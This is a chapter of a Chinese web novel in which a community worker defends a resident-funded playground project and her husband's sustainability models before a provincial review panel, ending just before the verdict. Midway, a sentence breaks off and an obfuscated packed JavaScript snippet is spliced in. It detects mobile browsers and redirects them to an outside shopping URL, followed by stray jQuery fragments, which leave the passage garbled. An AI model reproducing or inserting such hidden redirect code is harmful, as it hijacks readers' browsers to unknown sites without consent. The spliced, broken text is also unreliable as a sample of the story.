晚上七点十分，省委党校第三会议室的灯光白得刺眼。


    走廊里，林墨看了一眼手机屏幕——七点零八分。下午的实地核查结束后，专家组返回党校用了四十分钟，她回单位换了件干净的衬衫，秦处长去食堂打包了几个包子，张弛重新检查了电脑和投影设备。周致远在党校门口与她匆匆见了一面：“乐乐我托给对门李教授的爱人了，今晚住他们家。你安心答辩。”


    “你跟她说了吗？”


    “说了。我说妈妈今天要完成一件很重要的工作，像打仗一样重要。她说那你让妈妈好好打，打完给我打电话。”周致远把一份打印好的理论模型摘要塞给她，“我就在旁听席。”


    五岁的孩子，在工作日的晚上见不到父母。林墨心头像被什么揪了一下，但时间不容她多愁善感。她深吸一口气，推开了会议室的门。


    此刻，她坐在靠门的位置，面前摊开着一沓材料。对面，赵小曼和她的团队已经就座，每个人都坐得笔直。七位专家陆续入场，徐海研究员在最中间的位置坐下，打开保温杯，喝了一口茶。


    “各位同志辛苦了。”徐研究员开口，“从早上八点半到现在，我们已经听取了汇报、完成了实地核查。现在进行最后一个环节——针对可持续性这个核心问题，请两位项目负责人进一步阐述。”


    他看向林墨：“小林同志，你的项目高度依赖居民自主参与，这种模式如何保证长期稳定？如果核心骨干离开，或者居民热情减退，项目会不会自然消亡？”


    问题像手术刀一样精准。林墨深吸一口气，她面前的材料有些凌乱——手写的会议记录、居民签名的设计草图、微基金的收支账本、第三方检测报告。还有，她看向会议室后排旁听席，周致远对她轻轻点头。


    “徐老师，我想用事实和理论两部分来回答。”林墨的声音在会议室里响起，“事实部分，是过去半年幸福家园发生的变化；理论部分，是我丈夫周致远副教授基于我们的实践提炼出的分析模型。”


    她先翻开那本微基金收支账本，推到桌子中央。账本是普通的硬皮笔记本，封面上用圆珠笔写着“幸福家园儿童乐园共建基金”。翻开内页，字迹各异，金额从十元到五百元不等。


    “这是六个月的记录。”林墨说，“每月捐赠总额从最初的八百元，增长到现在的两千三百元。捐赠人数从七人增加到四十一人。请注意——这四十一位捐赠者中，有十二位是项目初期明确表示‘不看好、不参与、不捐钱’的居民。”


    专家们传阅账本。省住建厅的刘处长指着一条记录问：“这个‘9月15日，王秀英，30元，备注：小博会笑了’是怎么回事？”


    林墨心头一动。王秀英——那个丈夫住院需要三四万手术费、昨天被人用五千块钱收买却坚守良心的女人。


    “王秀英的孙子小博有自闭症倾向。”林墨的声音放轻了些，“以前几乎不说话，不与人眼神交流。项目开始后，王秀英带着小博来帮忙铺木屑，孩子第一次蹲在地上，用手抓起木屑，看了很久。后来他每天都要来场地，现在会在玩的时候发出笑声，偶尔会说简单的词。”


    会议室里安静了一瞬。翻动纸张的声音显得格外清晰。


    “这三十块钱，是王秀英从给丈夫攒的手术费里挤出来的。”林墨继续说，“她说：‘别的孩子有地方玩，我的孙子也开始说话了，这个钱我得捐。’”


    徐研究员摘下眼镜，用指尖揉了揉鼻梁。


    “这种转变不是因为我们说服了她，而是她亲眼看到了变化。”林墨的声音恢复了平稳，“孩子的情况改善了，邻里开始主动关心她家的困难，社区有了可以温暖人的地方。这种亲身经历产生的归属感和希望，比任何外部激励都牢固。”


    她停顿了一下，看向对面的赵小曼：“相比之下，标准化项目通常依赖外部资金和专业运营，初期效果明显，但一旦资金撤出或运营方变更，项目就可能停滞。我们选择的是一条更难走、但根基更深的路径。”


    赵小曼的嘴角微微收紧，但没有说话。


    “但这只是经验层面的观察。”林墨话锋一转，“要论证可持续性，需要理论支撑。在这方面，周致远副教授提供了一个分析模型——我们称之为‘社区参与动力模型’。”


    她打开笔记本电脑，连接投影。屏幕上出现三个同心圆，从内到外标注着“核心骨干（5-8人）”“积极参与者（15-20人）”“一般居民（其余）”。每个圈层之间有双向箭头连接。


    “这个模型是基于幸福家园半年实践提炼出来的。”林墨操作鼠标，模型动了起来，“核心层的动力来源于价值认同和能力展现——比如赵先生的工匠精神，张大姐的组织才能，王秀英守护孙子的坚持。他们是项目的‘火种’。”


    内圈开始发光。


    “第二层是积极参与者。他们可能因为具体利益、社交需求、或从众心理参与。这一层的动力会波动，需要核心层不断提供正反馈——比如每次维护活动后的集体合影，每月公示账目时的公开感谢。”


    中圈开始旋转。


    “最外层是大多数居民。他们观望、评估，直到确认项目真实有效且成本可控后，才会以低强度方式参与——比如每月捐十元钱，偶尔帮忙捡拾落叶。”


    外圈缓缓浮现。


    “三层之间存在动态转化。”林墨点击鼠标，箭头开始流动，“核心层的坚持会感染第二层，第二层的规模效应会带动第三层。更重要的是——当项目产出可见成果时，会形成‘参与-获益-更多参与’的正向循环。”


    她调出一组数据图表：“这是半年来居民参与度的变化曲线。可以看到明显的三个阶段：第一个月，只有核心层8人；第二到三个月，第二层开始加入，达到23人；第四个月起，随着场地投入使用，第三层居民开始参与。现在，三层结构的比例稳定在8:24:161。”


    图表上的曲线平滑上升，在第四个月有一个明显的拐点。


    “这个拐点是什么？”高校的王教授问。


    “是场地基本建成、孩子们第一次集体玩耍的那天。”林墨说，“那天下午，三十多个孩子在木屑场上玩，家长们在旁边聊天。赵先生拍了很多照片，晚上在居民群里发。那天之后，居民捐款额增长了80%，主动报名参加维护的人数翻了一番。”


    她调出那天的照片——孩子们在夕阳下奔跑，木屑扬起金色的尘雾。照片拍得并不专业，有些甚至模糊，但那种真实的欢快几乎要从屏幕里溢出来。


    会议室里很安静。徐研究员重新戴上眼镜，镜片后的目光专注。


    “那么，”省政府研究室的专家开口，“这个模型可以推广吗？”


    “可以，但有前提条件。”林墨坦诚地说，“它需要基层工作者具备三种能力：发现和激活核心骨干的‘识人’能力，设计低门槛参与方式的‘策划’能力，长期陪伴、耐心等待的‘坚守’能力。这不是一套拿来就能用的工具，而是一种需要学习和实践的工作方法。”


    她看向秦处长，秦处长微微颔首。


    “我想问一个更实际的问题。”省财政厅的专家语气严肃，“你的项目总投入八万元，后续维护依赖居民自愿捐款。如果其他社区复制这种模式，但居民不愿捐款怎么办？财政是否要兜底？如果兜底，就违背了‘自我造血’的初衷；如果不兜底，项目就可能夭折——这种风险如何规避？”


    问题切入了最现实的痛点。林墨感到手心冒汗，她端起面前的纸杯喝了口水。


    “这个问题，周老师的研究提供了另一个分析工具。”林墨说，“他在分析国内外一百二十七个社区自治理案例后，提出了‘可持续性三角模型’。”


    新的图表出现：一个等边三角形，三个顶点分别是“资源投入”“制度保障”“社会资本”。


    “任何社区项目的可持续性，都取决于这三个要素的平衡。”林墨解释，“资源投入包括资金、物资、人力；制度保障包括规则、协议、监督机制；社会资本则指居民间的信任、互惠规范和参与网络。”


    她放大图表：“标准化项目通常注重前两者——充足的资金、完善的制度，但往往忽视社会资本的培育。结果就是，一旦资源投入减少或制度执行松动，项目就难以为继。”


    三角形的“社会资本”顶点开始闪烁。


    “而我们的路径是反过来。”林墨点击鼠标，三角形开始旋转，“以有限资源启动，在过程中重点培育社会资本。当社会资本积累到一定程度，它会反过来促进资源投入和制度完善。”


    图表上，“社会资本”顶点发出光芒，沿着边线流向另外两个顶点。


    “这是一种先慢后快、先难后易的路径。”林墨坦承，“初期很艰难，需要工作者投入大量时间精力去建立信任、培育骨干。但一旦跨过临界点——通常是项目产出第一个可见成果的时刻——社会资本就会开始自我增值，形成良性循环。”


    她调出幸福家园的具体数据：“在我们社区，社会资本的量化指标包括：居民互帮互助次数从每月不足5次增加到32次；邻里纠纷调解成功率从40%提升到85%；公共事务议事会居民出席率从15%提高到68%。”


    这些数字不像“满意度98%”那样漂亮，但它们更扎实，更经得起推敲。


    “那么，”王教授推了推眼镜，问题像一颗石子投入平静的水面，“你这个模型，能用来分析其他类型的社区项目吗？比如——赵小曼同志的标准化项目？”


    空气凝固了。


    林墨感到心脏重重一跳。她下意识看向周致远，他轻轻点头——这是他们讨论过的可能性，但没想到会在评审会上被直接问及。


    “可以。”林墨听见自己的声音有些干涩，“实际上，周老师做了一些初步分析。”


    她操作电脑，调出另一张图表——同样的三角模型，但三个顶点的权重完全不同。在代表赵小曼项目的模型里，“资源投入”顶点巨大，“制度保障”顶点也很突出，但“社会资本”顶点很小，几乎看不见。


    “标准化项目的优势在于，它通过充足的资源和完善的制度，能够在短时间内产出高质量的物理空间。”林墨尽可能保持客观语气，“但潜在风险在于——社会资本培育不足。居民是服务的接受者，而不是空间的共建者。他们对项目缺乏深度认同和归属感。”


    她点击鼠标，模型开始模拟时间推移：“在运营初期，由于资源充足、管理规范，项目效果很好。但随着时间推移，可能出现两种风险：一是资源投入难以为继时，缺乏社会资本支撑的项目会迅速衰败；二是居民始终将空间视为‘政府的’或‘企业的’，不会主动爱护和维护，导致运营成本居高不下。”


    图表上，代表赵小曼项目的曲线


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965883|193373||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在初期快速上升，但在第三年开始趋于平缓，第五年后出现下滑趋势。而代表林墨项目的曲线，初期上升缓慢，但持续增长，在第五年时反超。


    会议室里鸦雀无声。


    赵小曼的脸色变得苍白。她身旁的同事想要说什么，被她用手势制止。


    “这只是理论模拟。”林墨赶紧补充，“实际情况会受到多种因素影响。而且，两种路径并不完全对立——标准化项目如果能在后期加强居民参与，培育社会资本，完全可以实现长期可持续发展。”


    但这补充已经晚了。专家们的表情都变得复杂。


    徐研究员的目光在两张图表之间移动，许久才开口：“小赵同志，你对这个模型有什么回应？”


    所有人的目光转向赵小曼。


    她沉默了几秒，然后站起身。这个动作让她显得比坐着时更高，也更单薄。


    “首先，我尊重学术研究。”赵小曼的声音依然平稳，但林墨听出了一丝紧绷，“但我想提醒各位专家，我们的项目有真实数据支撑——三个试点社区运营一年来，居民满意度持续保持在95%以上，设施完好率100%，没有任何安全事故。”


    她顿了顿，看向林墨：“至于社会资本的问题，我们的智慧管理平台设有居民评价、建议反馈、线上议事等功能，正是为了促进居民参与。只是参与方式不同——不是身体力行的劳动参与，而是基于数字平台的互动参与。这是适应新时代的社区治理创新。”


    “两种参与，哪个更有效？”刘处长突然问，“是亲手铺木屑产生的归属感强，还是在手机上点个赞产生的归属感强？”


    问题太直接，会议室里的空气几乎要裂开。


    秦处长在这时轻轻咳嗽了一声。很轻，但所有人都听见了。


    “各位专家，”她开口，声音平和却有种不容忽视的分量，“我们今天坐在这里，不是为了评判哪种方式更好，而是为了评估哪种方式更适合在什么样的条件下推广。基层治理没有放之四海而皆准的答案，只有因地制宜的选择。”


    她看向林墨，又看向赵小曼：“林墨同志的项目，证明了在资源有限、但社区凝聚力较强的老旧社区，参与式路径是可行的。赵小曼同志的项目，证明了在新建成、居民结构多元、但基础设施较好的社区，标准化路径是高效的。两者都是宝贵的探索。”


    这番话像一阵清风，稍稍吹散了紧张。专家们点头，徐研究员的脸色也缓和下来。


    “秦处长说得对。”他说，“评审不是二选一，而是评估每种模式的适用条件、潜在风险和推广价值。继续吧。”


    接下来的四十分钟，专家组又问了十几个问题。林墨回答时，会不自觉地看向旁听席——周致远一直在那里，时而记录，时而沉思。有两次，当问题涉及理论细节时，她用目光向他求助，他会在笔记本上快速写下关键词，举起给她看。


    那些词是：“临界质量”“正反馈循环”“社会资本转化率”。


    都是他们深夜讨论时用过的术语。此刻在评审会上看到，竟有种战友之间的默契。


    晚上七点五十五分，徐研究员看了看表：“时间差不多了。专家组需要闭门合议，请各位在外面稍等。”


    最后的时刻到了。


    林墨收拾材料时，手指微微发抖。她走出会议室，在走廊里等待。赵小曼团队在另一头，低声交谈着什么。秦处长去接电话了，张弛紧张地来回踱步。


    周致远走过来，轻轻握住她的手。他的手很暖。


    “你说得很好。”他低声说，“特别是讲到王秀英那段。真实的故事比任何数据都有力量。”


    “那个对比分析……我是不是太过了？”林墨担心地问。


    “学术的尊严在于诚实。”周致远说，“而且你给出了建设性的建议——标准化项目后期可以加强社会资本培育。这不是批评，是完善的方向。”


    走廊墙上挂着钟，秒针一格一格跳动。


    七点五十八分。


    林墨想起这半年的片段：在综合一处那个靠窗的工位；第一次去幸福家园面对居民的怀疑；和王秀英在社区小路上边走边聊她孙子的病情；和赵先生、张大姐一起研究设计图；和张弛熬了几个夜调试程序；和周致远深夜长谈，把零散的经验提炼成理论框架……


    还有乐乐。此刻应该在李教授家里，可能已经洗过澡，躺在小床上听李教授讲故事。早上出门时，女儿抱着她的脖子说：“妈妈，你晚上会回来给我讲故事吗？”


    她看了一眼手机——晚上七点五十九分。等结果出来，不管多晚，她都要给女儿打个电话。


    七点五十九分三十秒。


    秦处长打完电话回来，站在林墨身边，什么都没说，但那种存在本身就是一种支撑。


    八点整。


    会议室的门开了。


    徐研究员走出来，手里拿着一张纸。他的表情很平静，平静得看不出任何信息。


    所有人在一瞬间安静下来，连呼吸都屏住了。


    “经过专家组充分讨论和合议，”徐研究员的声音在走廊里回荡，“省级基层治理创新案例评选结果如下——”


    林墨闭上眼睛。


    她感觉到周致远握紧了她的手。


    感觉到心跳在胸腔里沉重地撞击。


    感觉到这半年的所有汗水和希望，都悬在这一刻。